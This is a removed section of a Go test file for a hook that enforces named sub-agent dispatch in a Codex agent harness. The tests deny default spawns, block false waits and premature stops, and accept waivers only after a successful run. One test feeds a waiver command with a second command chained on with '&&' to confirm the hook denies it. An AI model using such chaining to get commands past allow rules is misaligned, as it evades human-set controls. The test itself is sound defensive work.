- "type": "task_complete",
1355
- "last_agent_message": "agent-result/v1 complete",
1356
- },
1357
- })
1358
- }
1359
- writeJSONLines(t, filepath.Join(dir, "rollout-child-"+taskName+".jsonl"), child)
1360
- }
1361
-
1362
- func writeJSONLines(t *testing.T, path string, records []map[string]any) {
1363
- t.Helper()
1364
- var lines []string
1365
- for _, record := range records {
1366
- raw, err := json.Marshal(record)
1367
- if err != nil {
1368
- t.Fatal(err)
1369
- }
1370
- lines = append(lines, string(raw))
1371
- }
1372
- if err := os.WriteFile(path, []byte(strings.Join(lines, "\n")+"\n"), 0o600); err != nil {
1373
- t.Fatal(err)
1374
- }
1375
- }
1376
-
1377
- func TestCodexAgentDispatchArmsInstalledSkillRequirements(t *testing.T) {
1378
- for _, tc := range []struct {
1379
- name string
1380
- invocation string
1381
- roles string
1382
- wantRoles []string
1383
- }{
1384
- {
1385
- name: "single-role-dollar-invocation",
1386
- invocation: "$rite-vet",
1387
- roles: "devrites-plan-reviewer",
1388
- wantRoles: []string{"devrites-plan-reviewer"},
1389
- },
1390
- {
1391
- name: "multi-role-slash-invocation",
1392
- invocation: "/rite-review",
1393
- roles: "devrites-spec-reviewer, devrites-code-reviewer",
1394
- wantRoles: []string{"devrites-code-reviewer", "devrites-spec-reviewer"},
1395
- },
1396
- {
1397
- name: "declared-no-agent",
1398
- invocation: "$rite-status",
1399
- roles: "none",
1400
- },
1401
- } {
1402
- t.Run(tc.name, func(t *testing.T) {
1403
- root := newWorkspace(t)
1404
- skill := strings.TrimLeft(tc.invocation, "$/")
1405
- writeCodexSkillContract(t, root, skill, tc.roles)
1406
- for _, role := range tc.wantRoles {
1407
- writeCodexAgentContract(t, root, role)
1408
- }
1409
- sessionID, turnID := "session-"+tc.name, "turn-"+tc.name
1410
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
1411
- "hook_event_name": "UserPromptSubmit",
1412
- "session_id": sessionID,
1413
- "turn_id": turnID,
1414
- "prompt": tc.invocation,
1415
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1416
- if code != 0 {
1417
- t.Fatalf("arm exit=%d stderr=%s", code, stderr)
1418
- }
1419
- for _, role := range tc.wantRoles {
1420
- if !strings.Contains(out, role) {
1421
- t.Fatalf("arm output omitted %s: %s", role, out)
1422
- }
1423
- }
1424
-
1425
- stopOut, stopErr, stopCode := runDevritesIO(t, root, hookPayload(t, map[string]any{
1426
- "hook_event_name": "Stop",
1427
- "session_id": sessionID,
1428
- "turn_id": turnID,
1429
- "stop_hook_active": false,
1430
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1431
- if stopCode != 0 {
1432
- t.Fatalf("stop exit=%d stderr=%s", stopCode, stopErr)
1433
- }
1434
- if len(tc.wantRoles) == 0 {
1435
- if strings.TrimSpace(stopOut) != "" {
1436
- t.Fatalf("no-agent skill was blocked: %s", stopOut)
1437
- }
1438
- return
1439
- }
1440
- for _, role := range tc.wantRoles {
1441
- if strings.Contains(stopOut, role) {
1442
- return
1443
- }
1444
- }
1445
- t.Fatalf("required skill roles did not block Stop: %s", stopOut)
1446
- })
1447
- }
1448
- }
1449
-
1450
- func TestCodexAgentDispatchPromptGivesExactNamedCallBeforeCompletion(t *testing.T) {
1451
- root := newWorkspace(t)
1452
- role := "devrites-plan-drafter"
1453
- writeCodexAgentContract(t, root, role)
1454
- writeCodexSkillContract(t, root, "rite-plan", role)
1455
-
1456
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
1457
- "hook_event_name": "UserPromptSubmit",
1458
- "session_id": "session-plan-drafter-guidance",
1459
- "turn_id": "turn-plan-drafter-guidance",
1460
- "prompt": "$rite-plan repair",
1461
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1462
- if code != 0 {
1463
- t.Fatalf("arm exit=%d stderr=%s", code, stderr)
1464
- }
1465
- for _, want := range []string{
1466
- "MANDATORY DISPATCH THIS TURN",
1467
- "spawn_agent",
1468
- "agent_type=" + role,
1469
- "unique task_name",
1470
- `fork_turns="none"`,
1471
- ".codex/agents/" + role + ".toml",
1472
- "send agent_type anyway",
1473
- "Schema omission alone is not capability loss",
1474
- "only after the runtime explicitly identifies MultiAgent V1",
1475
- "stop before any generic/default spawn",
1476
- "Wait for the returned child",
1477
- "PRE-DISPATCH STOP RULE",
1478
- "do not spawn only to satisfy this receipt",
1479
- "devrites-engine dispatch-waive <reason>",
1480
- "readiness-failed",
1481
- "human-gate-before-dispatch",
1482
- "never waive after a spawn attempt",
1483
- } {
1484
- if !strings.Contains(out, want) {
1485
- t.Fatalf("initial dispatch guidance omitted %q:\n%s", want, out)
1486
- }
1487
- }
1488
- }
1489
-
1490
- func TestCodexConditionalAgentDispatchRejectsDefaultAndArmsNamedRole(t *testing.T) {
1491
- root := newWorkspace(t)
1492
- role := "devrites-proof-runner"
1493
- writeCodexAgentContract(t, root, role)
1494
- writeCodexConditionalSkillContract(t, root, "rite-polish", role)
1495
- sessionID, turnID := "session-conditional-role", "turn-conditional-role"
1496
-
1497
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
1498
- "hook_event_name": "UserPromptSubmit",
1499
- "session_id": sessionID,
1500
- "turn_id": turnID,
1501
- "prompt": "$rite-polish",
1502
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1503
- if code != 0 {
1504
- t.Fatalf("arm exit=%d stderr=%s", code, stderr)
1505
- }
1506
- for _, want := range []string{
1507
- "CONDITIONAL DISPATCH RULE",
1508
- "exact named agent_type=devrites-<role>",
1509
- `fork_turns="none"`,
1510
- "send agent_type anyway",
1511
- "Schema omission alone is not capability loss",
1512
- "only after the runtime explicitly identifies MultiAgent V1",
1513
- "stop before any generic/default spawn",
1514
- "never use a default child",
1515
- } {
1516
- if !strings.Contains(out, want) {
1517
- t.Fatalf("conditional dispatch guidance omitted %q:\n%s", want, out)
1518
- }
1519
- }
1520
-
1521
- for _, agentType := range []string{"", "default"} {
1522
- out, stderr, code = runDevritesIO(t, root, hookPayload(t, map[string]any{
1523
- "hook_event_name": "PreToolUse",
1524
- "session_id": sessionID,
1525
- "turn_id": turnID,
1526
- "tool_name": "spawn_agent",
1527
- "tool_use_id": "default-" + agentType,
1528
- "tool_input": map[string]any{
1529
- "agent_type": agentType,
1530
- "task_name": "conditional_default",
1531
- "fork_turns": "none",
1532
- "message": "Run the conditional DevRites check.",
1533
- },
1534
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1535
- if code != 0 {
1536
- t.Fatalf("default spawn exit=%d stderr=%s", code, stderr)
1537
- }
1538
- if decision, reason := parsePermissionDecision(t, out); decision != "deny" ||
1539
- !strings.Contains(reason, "exact named agent_type=devrites-<role>") {
1540
- t.Fatalf("conditional default child not denied: decision=%q reason=%q out=%s", decision, reason, out)
1541
- }
1542
- }
1543
-
1544
- out, stderr, code = runDevritesIO(t, root, hookPayload(t, map[string]any{
1545
- "hook_event_name": "PreToolUse",
1546
- "session_id": sessionID,
1547
- "turn_id": turnID,
1548
- "tool_name": "spawn_agent",
1549
- "tool_use_id": "missing-named-type",
1550
- "tool_input": map[string]any{
1551
- "task_name": "conditional_missing_type",
1552
- "fork_turns": "none",
1553
- "message": "Read .codex/agents/" + role + ".toml and run the check.",
1554
- },
1555
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1556
- if code != 0 {
1557
- t.Fatalf("missing type spawn exit=%d stderr=%s", code, stderr)
1558
- }
1559
- if decision, reason := parsePermissionDecision(t, out); decision != "deny" ||
1560
- !strings.Contains(reason, "agent_type="+role) ||
1561
- !strings.Contains(reason, "send agent_type anyway") {
1562
- t.Fatalf("missing named type did not get exact retry: decision=%q reason=%q out=%s", decision, reason, out)
1563
- }
1564
-
1565
- out, stderr, code = runDevritesIO(t, root, hookPayload(t, map[string]any{
1566
- "hook_event_name": "PreToolUse",
1567
- "session_id": sessionID,
1568
- "turn_id": turnID,
1569
- "tool_name": "spawn_agent",
1570
- "tool_use_id": "named-conditional",
1571
- "tool_input": map[string]any{
1572
- "agent_type": role,
1573
- "task_name": "conditional_proof",
1574
- "fork_turns": "none",
1575
- "message": "Run the conditional DevRites check.",
1576
- },
1577
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1578
- if code != 0 || strings.TrimSpace(out) != "" {
1579
- t.Fatalf("named conditional spawn rejected: exit=%d out=%s stderr=%s", code, out, stderr)
1580
- }
1581
-
1582
- out, stderr, code = runDevritesIO(t, root, hookPayload(t, map[string]any{
1583
- "hook_event_name": "Stop",
1584
- "session_id": sessionID,
1585
- "turn_id": turnID,
1586
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1587
- if code != 0 || !strings.Contains(out, "DevRites dispatch for "+role+" is not complete") {
1588
- t.Fatalf("named conditional spawn was not armed: exit=%d out=%s stderr=%s", code, out, stderr)
1589
- }
1590
- }
1591
-
1592
- func TestCodexAgentDispatchAllowsDefaultChildOutsideSkillTurn(t *testing.T) {
1593
- root := newWorkspace(t)
1594
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
1595
- "hook_event_name": "PreToolUse",
1596
- "session_id": "session-unrelated-default",
1597
- "turn_id": "turn-unrelated-default",
1598
- "tool_name": "spawn_agent",
1599
- "tool_use_id": "unrelated-default",
1600
- "tool_input": map[string]any{
1601
- "agent_type": "default",
1602
- "task_name": "unrelated",
1603
- "fork_turns": "all",
1604
- "message": "Handle an unrelated bounded task.",
1605
- },
1606
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1607
- if code != 0 || strings.TrimSpace(out) != "" {
1608
- t.Fatalf("unrelated default child was rejected: exit=%d out=%s stderr=%s", code, out, stderr)
1609
- }
1610
- }
1611
-
1612
- func TestCodexAgentDispatchRejectsInvalidInstalledSkillRequirements(t *testing.T) {
1613
- root := newWorkspace(t)
1614
- writeCodexSkillContract(t, root, "rite-vet", "root-inline-reviewer")
1615
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
1616
- "hook_event_name": "UserPromptSubmit",
1617
- "session_id": "session-invalid-skill",
1618
- "turn_id": "turn-invalid-skill",
1619
- "prompt": "$rite-vet",
1620
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1621
- if code != 0 {
1622
- t.Fatalf("invalid metadata exit=%d stderr=%s", code, stderr)
1623
- }
1624
- var decision struct {
1625
- Decision string `json:"decision"`
1626
- Reason string `json:"reason"`
1627
- }
1628
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &decision); err != nil {
1629
- t.Fatalf("invalid metadata response: %v\n%s", err, out)
1630
- }
1631
- if decision.Decision != "block" || !strings.Contains(decision.Reason, "invalid required agent role") {
1632
- t.Fatalf("invalid skill metadata did not fail closed: %#v", decision)
1633
- }
1634
- stopOut, stopErr, stopCode := runDevritesIO(t, root, hookPayload(t, map[string]any{
1635
- "hook_event_name": "Stop",
1636
- "session_id": "session-invalid-skill",
1637
- "turn_id": "turn-invalid-skill",
1638
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1639
- if stopCode != 0 || !strings.Contains(stopOut, "required-agent-roles contract is invalid") {
1640
- t.Fatalf("invalid skill metadata did not remain fail closed at Stop: exit=%d out=%s stderr=%s", stopCode, stopOut, stopErr)
1641
- }
1642
- }
1643
-
1644
- func TestCodexAgentDispatchDoesNotArmSkillNamesInsideURLs(t *testing.T) {
1645
- root := newWorkspace(t)
1646
- writeCodexSkillContract(t, root, "rite-vet", "devrites-plan-reviewer")
1647
- sessionID, turnID := "session-skill-url", "turn-skill-url"
1648
- runDevritesIO(t, root, hookPayload(t, map[string]any{
1649
- "hook_event_name": "UserPromptSubmit",
1650
- "session_id": sessionID,
1651
- "turn_id": turnID,
1652
- "prompt": "Read https://example.test/rite-vet before answering.",
1653
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1654
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
1655
- "hook_event_name": "Stop",
1656
- "session_id": sessionID,
1657
- "turn_id": turnID,
1658
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1659
- if code != 0 || strings.TrimSpace(out) != "" {
1660
- t.Fatalf("URL path armed a skill: exit=%d out=%s stderr=%s", code, out, stderr)
1661
- }
1662
- }
1663
-
1664
- func TestCodexAgentDispatchDoesNotArmBareAgentContractReference(t *testing.T) {
1665
- root := newWorkspace(t)
1666
- writeCodexAgentContract(t, root, "devrites-security-auditor")
1667
- sessionID, turnID := "session-agent-reference", "turn-agent-reference"
1668
- runDevritesIO(t, root, hookPayload(t, map[string]any{
1669
- "hook_event_name": "UserPromptSubmit",
1670
- "session_id": sessionID,
1671
- "turn_id": turnID,
1672
- "prompt": "Explain .codex/agents/devrites-security-auditor.toml without running it.",
1673
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1674
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
1675
- "hook_event_name": "Stop",
1676
- "session_id": sessionID,
1677
- "turn_id": turnID,
1678
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1679
- if code != 0 || strings.TrimSpace(out) != "" {
1680
- t.Fatalf("bare agent reference armed dispatch: exit=%d out=%s stderr=%s", code, out, stderr)
1681
- }
1682
- }
1683
-
1684
- func TestCodexAgentDispatchBlocksFalseWaitAndStop(t *testing.T) {
1685
- root := newWorkspace(t)
1686
- writeCodexSkillContract(t, root, "devrites-audit", "devrites-security-auditor")
1687
- sessionID, turnID := "session-false-wait", "turn-false-wait"
1688
- prompt := hookPayload(t, map[string]any{
1689
- "hook_event_name": "UserPromptSubmit",
1690
- "session_id": sessionID,
1691
- "turn_id": turnID,
1692
- "prompt": "$devrites-audit Call spawn_agent and tell it to read .codex/agents/devrites-security-auditor.toml.",
1693
- })
1694
- if _, stderr, code := runDevritesIO(t, root, prompt, nil,
1695
- "hook", "agent-dispatch", "--harness=codex"); code != 0 {
1696
- t.Fatalf("arm exit=%d stderr=%s", code, stderr)
1697
- }
1698
-
1699
- wait := hookPayload(t, map[string]any{
1700
- "hook_event_name": "PreToolUse",
1701
- "session_id": sessionID,
1702
- "turn_id": turnID,
1703
- "tool_name": "wait",
1704
- "tool_input": map[string]any{"receiver_thread_ids": []string{}},
1705
- })
1706
- out, stderr, code := runDevritesIO(t, root, wait, nil,
1707
- "hook", "agent-dispatch", "--harness=codex")
1708
- if code != 0 {
1709
- t.Fatalf("wait exit=%d stderr=%s", code, stderr)
1710
- }
1711
- if decision, reason := parsePermissionDecision(t, out); decision != "deny" ||
1712
- !strings.Contains(reason, "spawn_agent") {
1713
- t.Fatalf("false wait not denied: decision=%q reason=%q out=%s", decision, reason, out)
1714
- }
1715
-
1716
- stop := hookPayload(t, map[string]any{
1717
- "hook_event_name": "Stop",
1718
- "session_id": sessionID,
1719
- "turn_id": turnID,
1720
- "stop_hook_active": false,
1721
- })
1722
- out, stderr, code = runDevritesIO(t, root, stop, nil,
1723
- "hook", "agent-dispatch", "--harness=codex")
1724
- if code != 0 {
1725
- t.Fatalf("stop exit=%d stderr=%s", code, stderr)
1726
- }
1727
- var stopDecision struct {
1728
- Decision string `json:"decision"`
1729
- Reason string `json:"reason"`
1730
- }
1731
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &stopDecision); err != nil {
1732
- t.Fatalf("invalid Stop response: %v\n%s", err, out)
1733
- }
1734
- if stopDecision.Decision != "block" ||
1735
- !strings.Contains(stopDecision.Reason, "spawn_agent") ||
1736
- !strings.Contains(stopDecision.Reason, "visible tool schema") ||
1737
- !strings.Contains(stopDecision.Reason, "send agent_type anyway") ||
1738
- !strings.Contains(stopDecision.Reason, "Schema omission alone is not capability loss") ||
1739
- !strings.Contains(stopDecision.Reason, "stop before any generic/default spawn") ||
1740
- !strings.Contains(stopDecision.Reason, "do not spawn only to satisfy this receipt") ||
1741
- !strings.Contains(stopDecision.Reason, "dispatch-waive <reason>") {
1742
- t.Fatalf("false completion not blocked: %#v", stopDecision)
1743
- }
1744
-
1745
- stop = hookPayload(t, map[string]any{
1746
- "hook_event_name": "Stop",
1747
- "session_id": sessionID,
1748
- "turn_id": turnID,
1749
- "stop_hook_active": true,
1750
- })
1751
- out, stderr, code = runDevritesIO(t, root, stop, nil,
1752
- "hook", "agent-dispatch", "--harness=codex")
1753
- if code != 0 {
1754
- t.Fatalf("second stop exit=%d stderr=%s", code, stderr)
1755
- }
1756
- var terminal struct {
1757
- Continue bool `json:"continue"`
1758
- StopReason string `json:"stopReason"`
1759
- }
1760
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &terminal); err != nil {
1761
- t.Fatalf("invalid terminal Stop response: %v\n%s", err, out)
1762
- }
1763
- if terminal.Continue || !strings.Contains(terminal.StopReason, "spawn_agent") {
1764
- t.Fatalf("second false completion was not stopped: %#v", terminal)
1765
- }
1766
- }
1767
-
1768
- func TestCodexAgentDispatchRequiresSuccessfulReasonBoundWaiver(t *testing.T) {
1769
- root := newWorkspace(t)
1770
- role := "devrites-plan-reviewer"
1771
- writeCodexAgentContract(t, root, role)
1772
- writeCodexSkillContract(t, root, "rite-vet", role)
1773
- sessionID, turnID := "session-waiver", "turn-waiver"
1774
- runDevritesIO(t, root, hookPayload(t, map[string]any{
1775
- "hook_event_name": "UserPromptSubmit",
1776
- "session_id": sessionID,
1777
- "turn_id": turnID,
1778
- "prompt": "$rite-vet",
1779
- }), nil, "hook", "agent-dispatch", "--harness=codex")
1780
-
1781
- invalid := hookPayload(t, map[string]any{
1782
- "hook_event_name": "PreToolUse",
1783
- "session_id": sessionID,
1784
- "turn_id": turnID,
1785
- "tool_name": "functions.exec_command",
1786
- "tool_input": map[string]any{"cmd": "devrites-engine dispatch-waive wrong-phase && true"},
1787
- })
1788
- out, _, _ := runDevritesIO(t, root, invalid, nil,
1789
- "hook", "agent-dispatch", "--harness=codex")
1790
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
1791
- t.Fatalf("chained waiver was not denied: %s", out)
1792
- }
1793
-
1794
- command := "devrites-engine dispatch-waive readiness-failed"
1795
- pre := hookPayload(t, map[string]any{
1796
- "hook_event_name": "PreToolUse",
1797
- "session_id": sessionID,
1798
- "turn_id": turnID,
1799
- "tool_name": "functions.exec_command",
1800
- "tool_input": map[string]any{"cmd": command},
1801
- })
1802
- if out, stderr, code := runDevritesIO(t, root, pre, nil,
1803
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
1804
- t.Fatalf("waiver pre exit=%d out=%s stderr=%s", code, out, stderr)
1805
- }
1806
-
1807
- stop := hookPayload(t, map[string]any{
1808
- "hook_event_name": "Stop",
1809
- "session_id": sessionID,
1810
- "turn_id": turnID,
1811
- })
1812
- out, _, _ = runDevritesIO(t, root, stop, nil,
1813
- "hook", "agent-dispatch", "--harness=codex")
1814
- if decision, _ := parseStopDecision(t, out); decision != "block" {
1815
- t.Fatalf("PreToolUse waiver falsely satisfied dispatch: %s", out)
1816
- }
1817
-
1818
- post := hookPayload(t, map[string]any{
1819
- "hook_event_name": "PostToolUse",
1820
- "session_id": sessionID,
1821
- "turn_id": turnID,
1822
- "tool_name": "functions.exec_command",
1823
- "tool_input": map[string]any{"cmd": command},
1824
- "tool_response": "dispatch-waive: accepted readiness-failed",
1825
- })
1826
- if out, stderr, code := runDevritesIO(t, root, post, nil,
1827
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
1828
- t.Fatalf("waiver post exit=%d out=%s stderr=%s", code, out, stderr)
1829
- }
1830
- if out, stderr, code := runDevritesIO(t, root, stop, nil,
1831
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
1832
- t.Fatalf("waived stop exit=%d out=%s stderr=%s", code, out, stderr)
1833
- }
1834
- }
1835
-
1836
- func TestCodexAgentDispatchConfirmsGenericRoleAndResult(t *testing.T) {
1837
- root := newWorkspace(t)
1838
- sessionID, turnID := "session-complete", "turn-complete"
1839
- role := "devrites-security-auditor"
1840
- writeCodexAgentContract(t, root, role)
1841
- writeCodexSkillContract(t, root, "devrites-audit", role)
1842
-
1843
- prompt := hookPayload(t, map[string]any{
1844
- "hook_event_name": "UserPromptSubmit",
1845
- "session_id": sessionID,
1846
- "turn_id": turnID,
1847
- "prompt": "$devrites-audit Call spawn_agent and tell it to read .codex/agents/" + role + ".toml.",
1848
- })
1849
- runDevritesIO(t, root, prompt, nil, "hook", "agent-dispatch", "--harness=codex")
1850
-
1851
- spawn := hookPayload(t, map[string]any{
1852
- "hook_event_name": "PreToolUse",
1853
- "session_id": sessionID,
1854
- "turn_id": turnID,
1855
- "tool_name": "spawn_agent",
1856
- "tool_use_id": "spawn-1",
1857
- "tool_input": map[string]any{
1858
- "agent_type": "explorer",
1859
- "fork_turns": "none",
1860
- "message": "Read .codex/agents/" + role + ".toml and return the requested report.",
1861
- },
1862
- })
1863
- out, stderr, code := runDevritesIO(t, root, spawn, nil,
1864
- "hook", "agent-dispatch", "--harness=codex")
1865
- if code != 0 {
1866
- t.Fatalf("spawn exit=%d out=%s stderr=%s", code, out, stderr)
1867
- }
1868
- var rewrite struct {
1869
- HookSpecificOutput struct {
1870
- PermissionDecision string `json:"permissionDecision"`
1871
- UpdatedInput struct {
1872
- Message string `json:"message"`
1873
- } `json:"updatedInput"`
1874
- } `json:"hookSpecificOutput"`
1875
- }
1876
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &rewrite); err != nil {
1877
- t.Fatalf("invalid spawn rewrite: %v\n%s", err, out)
1878
- }
1879
- if rewrite.HookSpecificOutput.PermissionDecision != "allow" ||
1880
- !strings.Contains(rewrite.HookSpecificOutput.UpdatedInput.Message, "ROLE-CONTRACT:"+role) ||
1881
- !strings.Contains(rewrite.HookSpecificOutput.UpdatedInput.Message, "return the requested report") {
1882
- t.Fatalf("generic spawn did not receive developer_instructions: %#v", rewrite)
1883
- }
1884
-
1885
- start := hookPayload(t, map[string]any{
1886
- "hook_event_name": "SubagentStart",
1887
- "session_id": sessionID,
1888
- "turn_id": "child-turn",
1889
- "agent_id": "agent-1",
1890
- "agent_type": "explorer",
1891
- })
1892
- out, stderr, code = runDevritesIO(t, root, start, nil,
1893
- "hook", "subagent-orient", "--harness=codex")
1894
- if code != 0 {
1895
- t.Fatalf("start exit=%d stderr=%s", code, stderr)
1896
- }
1897
- var startEnvelope struct {
1898
- HookSpecificOutput struct {
1899
- AdditionalContext string `json:"additionalContext"`
1900
- } `json:"hookSpecificOutput"`
1901
- }
1902
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &startEnvelope); err != nil {
1903
- t.Fatalf("invalid start response: %v\n%s", err, out)
1904
- }
1905
- if !strings.Contains(startEnvelope.HookSpecificOutput.AdditionalContext,
1906
- ".codex/agents/"+role+".toml") {
1907
- t.Fatalf("generic child did not receive role contract: %s", out)
1908
- }
1909
-
1910
- stopAgent := hookPayload(t, map[string]any{
1911
- "hook_event_name": "SubagentStop",
1912
- "session_id": sessionID,
1913
- "turn_id": "child-turn",
1914
- "agent_id": "agent-1",
1915
- "agent_type": "explorer",
1916
- "last_assistant_message": "agent-result/v1 complete",
1917
- })
1918
- if out, stderr, code := runDevritesIO(t, root, stopAgent, nil,
1919
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
1920
- t.Fatalf("subagent stop exit=%d out=%s stderr=%s", code, out, stderr)
1921
- }
1922
-
1923
- stop := hookPayload(t, map[string]any{
1924
- "hook_event_name": "Stop",
1925
- "session_id": sessionID,
1926
- "turn_id": turnID,
1927
- "stop_hook_active": false,
1928
- })
1929
- out, stderr, code = runDevritesIO(t, root, stop, nil,
1930
- "hook", "agent-dispatch", "--harness=codex")
1931
- if code != 0 {
1932
- t.Fatalf("unawaited stop exit=%d stderr=%s", code, stderr)
1933
- }
1934
- var blocked struct {
1935
- Decision string `json:"decision"`
1936
- Reason string `json:"reason"`
1937
- }
1938
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &blocked); err != nil {
1939
- t.Fatalf("invalid unawaited Stop response: %v\n%s", err, out)
1940
- }
1941
- if blocked.Decision != "block" {
1942
- t.Fatalf("unawaited child result passed Stop: %s", out)
1943
- }
1944
- if strings.Contains(blocked.Reason, "dispatch-waive") {
1945
- t.Fatalf("unavailable post-spawn waiver was suggested: %s", out)
1946
- }
1947
-
1948
- wait := hookPayload(t, map[string]any{
1949
- "hook_event_name": "PreToolUse",
1950
- "session_id": sessionID,
1951
- "turn_id": turnID,
1952
- "tool_name": "wait",
1953
- "tool_input": map[string]any{"ids": []string{"agent-1"}},
1954
- })
1955
- if out, stderr, code := runDevritesIO(t, root, wait, nil,
1956
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
1957
- t.Fatalf("wait exit=%d out=%s stderr=%s", code, out, stderr)
1958
- }
1959
-
1960
- if out, stderr, code := runDevritesIO(t, root, stop, nil,
1961
- "hook", "agent-dispatch", "--harness=codex"); code != 0 {
1962
- t.Fatalf("pre-wait stop exit=%d out=%s stderr=%s", code, out, stderr)
1963
- } else if decision, _ := parseStopDecision(t, out); decision != "block" {
1964
- t.Fatalf("PreToolUse wait falsely satisfied dispatch: %s", out)
1965
- }
1966
-
1967
- waitTimeout := hookPayload(t, map[string]any{
1968
- "hook_event_name": "PostToolUse",
1969
- "session_id": sessionID,
1970
- "turn_id": turnID,
1971
- "tool_name": "wait",
1972
- "tool_input": map[string]any{"ids": []string{"agent-1"}},
1973
- "tool_response": map[string]any{"timed_out": true},
1974
- })
1975
- if out, stderr, code := runDevritesIO(t, root, waitTimeout, nil,
1976
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
1977
- t.Fatalf("timed-out wait post exit=%d out=%s stderr=%s", code, out, stderr)
1978
- }
1979
- if out, stderr, code := runDevritesIO(t, root, stop, nil,
1980
- "hook", "agent-dispatch", "--harness=codex"); code != 0 {
1981
- t.Fatalf("post-timeout stop exit=%d out=%s stderr=%s", code, out, stderr)
1982
- } else if decision, _ := parseStopDecision(t, out); decision != "block" {
1983
- t.Fatalf("timed-out wait falsely satisfied dispatch: %s", out)
1984
- }
1985
-
1986
- waitDone := hookPayload(t, map[string]any{
1987
- "hook_event_name": "PostToolUse",
1988
- "session_id": sessionID,
1989
- "turn_id": turnID,
1990
- "tool_name": "wait",
1991
- "tool_input": map[string]any{"ids": []string{"agent-1"}},
1992
- "tool_response": map[string]any{"status": "completed"},
1993
- })
1994
- if out, stderr, code := runDevritesIO(t, root, waitDone, nil,
1995
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
1996
- t.Fatalf("wait post exit=%d out=%s stderr=%s", code, out, stderr)
1997
- }
1998
-
1999
- if out, stderr, code := runDevritesIO(t, root, stop, nil,
2000
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2001
- t.Fatalf("resolved stop exit=%d out=%s stderr=%s", code, out, stderr)
2002
- }
2003
- }
2004
-
2005
- func TestCodexAgentDispatchRefusesAmbiguousGenericStart(t *testing.T) {
2006
- root := newWorkspace(t)
2007
- sessionID, turnID := "session-ambiguous-start", "turn-ambiguous-start"
2008
- roles := []string{"devrites-security-auditor", "devrites-plan-reviewer"}
2009
- for _, role := range roles {
2010
- writeCodexAgentContract(t, root, role)
2011
- }
2012
- writeCodexSkillContract(t, root, "devrites-audit", strings.Join(roles, ","))
2013
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2014
- "hook_event_name": "UserPromptSubmit",
2015
- "session_id": sessionID,
2016
- "turn_id": turnID,
2017
- "prompt": "$devrites-audit",
2018
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2019
-
2020
- for i, role := range roles {
2021
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
2022
- "hook_event_name": "PreToolUse",
2023
- "session_id": sessionID,
2024
- "turn_id": turnID,
2025
- "tool_name": "spawn_agent",
2026
- "tool_use_id": fmt.Sprintf("spawn-%d", i),
2027
- "tool_input": map[string]any{
2028
- "agent_type": "explorer",
2029
- "fork_turns": "none",
2030
- "message": "Read .codex/agents/" + role + ".toml.",
2031
- },
2032
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2033
- if code != 0 {
2034
- t.Fatalf("spawn %s exit=%d out=%s stderr=%s", role, code, out, stderr)
2035
- }
2036
- }
2037
-
2038
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
2039
- "hook_event_name": "SubagentStart",
2040
- "session_id": sessionID,
2041
- "turn_id": "child-turn",
2042
- "agent_id": "ambiguous-agent",
2043
- "agent_type": "explorer",
2044
- }), nil, "hook", "subagent-orient", "--harness=codex")
2045
- if code != 0 {
2046
- t.Fatalf("start exit=%d stderr=%s", code, stderr)
2047
- }
2048
- if !strings.Contains(out, "Dispatch binding failed") {
2049
- t.Fatalf("ambiguous generic start was bound to an arbitrary role: %s", out)
2050
- }
2051
- }
2052
-
2053
- func TestCodexAgentDispatchConfirmsDurableV2NamedRole(t *testing.T) {
2054
- root := newWorkspace(t)
2055
- codeHome := t.TempDir()
2056
- sessionID, turnID := "session-v2-named", "turn-v2-named"
2057
- role := "devrites-security-auditor"
2058
- writeCodexAgentContract(t, root, role)
2059
- writeCodexSkillContract(t, root, "devrites-audit", role)
2060
-
2061
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2062
- "hook_event_name": "UserPromptSubmit",
2063
- "session_id": sessionID,
2064
- "turn_id": turnID,
2065
- "prompt": "$devrites-audit Call spawn_agent and tell it to read .codex/agents/" + role + ".toml.",
2066
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2067
-
2068
- writeCodexV2Rollouts(
2069
- t, codeHome, filepath.Dir(root), sessionID, turnID, role,
2070
